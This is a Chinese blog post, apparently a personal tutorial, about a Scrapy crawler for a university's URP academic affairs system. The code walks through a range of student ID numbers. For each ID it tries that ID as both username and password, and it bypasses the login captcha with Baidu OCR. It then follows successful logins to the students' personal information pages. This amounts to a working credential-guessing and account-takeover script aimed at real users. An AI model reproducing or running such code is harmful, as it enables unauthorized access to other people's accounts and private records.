本来这个月上旬就该写完这篇文章的,奈何各种事情太多,一拖再拖,眼看就到下个月了,想到今天无论如何也得把这篇文章写完。 再者就是,因为教务系统马上就要改版,该文章的一部分内容其实已经不适用了,但是其中思路还是可以分享出来和大家共享的。
准备工作
scrapy框架初了解
- Spider 具体的爬虫程序,基本上整个爬虫逻辑都是在这里实现的
- Items 要从网页上爬取哪些元素,也就是你需要的目标信息
- Piplines 在这里对Items进行数据清洗,并保存在数据库或者保存为其他形式
- middlewaves 中间件,对于一些有反扒措施的网站(比如封IP或者封Cookie), 就需要在这里搭建IP池,或者Cookie池
登陆
- 模拟登陆请求
- 首先初始化所需要的变量(开始学号,终止学号等)
1 2 3 4 5 6 7
StartSchoolNumber = input('Please enter the start SchoolNumber:') EndSchoolNumber = input('Please enter the end SchoolNumber:') count = int(StartSchoolNumber) username = '0' password = '0' v_code = 1 #v_code是验证码
- 判断学号是否满足条件,并请求验证码
1 2 3 4 5 6 7 8
def start_requests(self): if self.count >= int(self.StartSchoolNumber) and self.count <= int(self.EndSchoolNumber) : j = str(self.count) if j[9] > '0' and j[10] <= '5' and j[9] < '4': self.username = str(j) self.password = str(j) yield Request('http://xx.xx.xx.xx/validateCodeAction.do', callback=self.start_login, meta={'cookiejar':1}, errback=self.start_requests)
- 破解验证码 在验证码这里,选择使用了百度OCR,一方面是因为自己使用百度AI比较多,相对了解一些。另一方面,百度OCR,相对于其他OCR给的免费次数也多一些(每天有50000次的免费api调用次数,在晚上开始爬虫,一共100000次)。 在这里要注意,不要在很短时间内多次请求api,否则会被认为产生了并发,延迟在0.5s左右。 ``` from aip import AipOcr
””” 读取图片 “”” def get_file_content(filePath): with open(filePath, ‘rb’) as fp: return fp.read()
def Get_CheckCode(path): “”” 你的 APPID AK SK “”” APP_ID = ‘xxx’ API_KEY = ‘xxx’ SECRET_KEY = ‘xxx’ try: client = AipOcr(APP_ID, API_KEY, SECRET_KEY) image = get_file_content(path) “”” 调用通用文字识别, 图片参数为本地图片 “”” result1 = client.basicGeneral(image); if len(result1[‘words_result’]) != 0: result = result1[‘words_result’][0][‘words’] result = result.replace(‘ ‘, ‘’, 4) print(result) return result else: return ‘0000’ except: return 1
1
2
4. 发送登陆请求
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
def start_login(self, response):
with open(r'C:\URPspider\test.jpg', 'wb') as f:
f.write(response.body)
self.v_code = 1
while(self.v_code==1):
#在这里调用OCR
self.v_code = Get_CheckCode(r'C:\URPspider\test.jpg')
self.logger.info(self.v_code)
yield FormRequest('http://xx.xx.xx.xx/loginAction.do',
method='POST',
meta={'cookiejar': response.meta['cookiejar']},
formdata={
'zjh': self.username,
'mm': self.password,
'v_yzm': self.v_code,
},
callback=self.parse_Secret,
dont_filter=True,
errback=self.start_requests) ``` 5. 解析登陆请求返回的网页,并判断登陆状态 ```
def parse_Secret(self, response):
html = response.text
soup = BeautifulSoup(html, 'html.parser')
error = soup.find('title')
error = error.get_text().strip()
if (error == '学分制综合教务'):
self.logger.info('密码正确')
yield Request('http://xx.xx.xx.xx/xjInfoAction.do?oper=xjxx',
meta={'cookiejar': response.meta['cookiejar']},
callback=self.parse_Info,
dont_filter=True,
errback=self.start_requests)
if (error == 'URP 综合教务系统 - 登录'):
self.logger.info('验证码错误')
yield Request('http://xx.xx.xx.xx/validateCodeAction.do',
callback=self.start_login, meta={'cookiejar': 1}, dont_filter=True, errback=self.start_requests)
if (error == '错误信息'):
self.logger.info('密码错误')
self.count += 1
if self.count >= int(self.StartSchoolNumber) and self.count <= int(self.EndSchoolNumber):
j = str(self.count)
if(j[9] > '0' and j[10] <= '5' and j[9] < '4'):
self.username = str(j)
self.password = str(j)
self.logger.info(self.username)
yield Request('http://xx.xx.xx.xx/validateCodeAction.do',
callback=self.start_login, meta={'cookiejar': 1}, dont_filter=True, errback=self.start_requests)
else:
while(j[6] != '5' or j[7] != '0' or j[8] > '8' or j[8] < '1' or j[9] <= '0' or j[10] > '5' or j[9] >= '4'):
self.count += 1
j = str(self.count)
self.logger.info(self.username)
if (j[9] > '0' and j[10] <= '5' and j[9] < '4'):
self.username = str(j)
self.password = str(j)
self.logger.info(self.username)
yield Request('http://xx.xx.xx.xx/validateCodeAction.do', callback=self.start_login,
meta={'cookiejar': 1}, dont_filter=True, errback=self.start_requests) ``` 解析这里我们使用了beautifulsoup库,当然大家也可以采用lmxl或者css这样的选择器。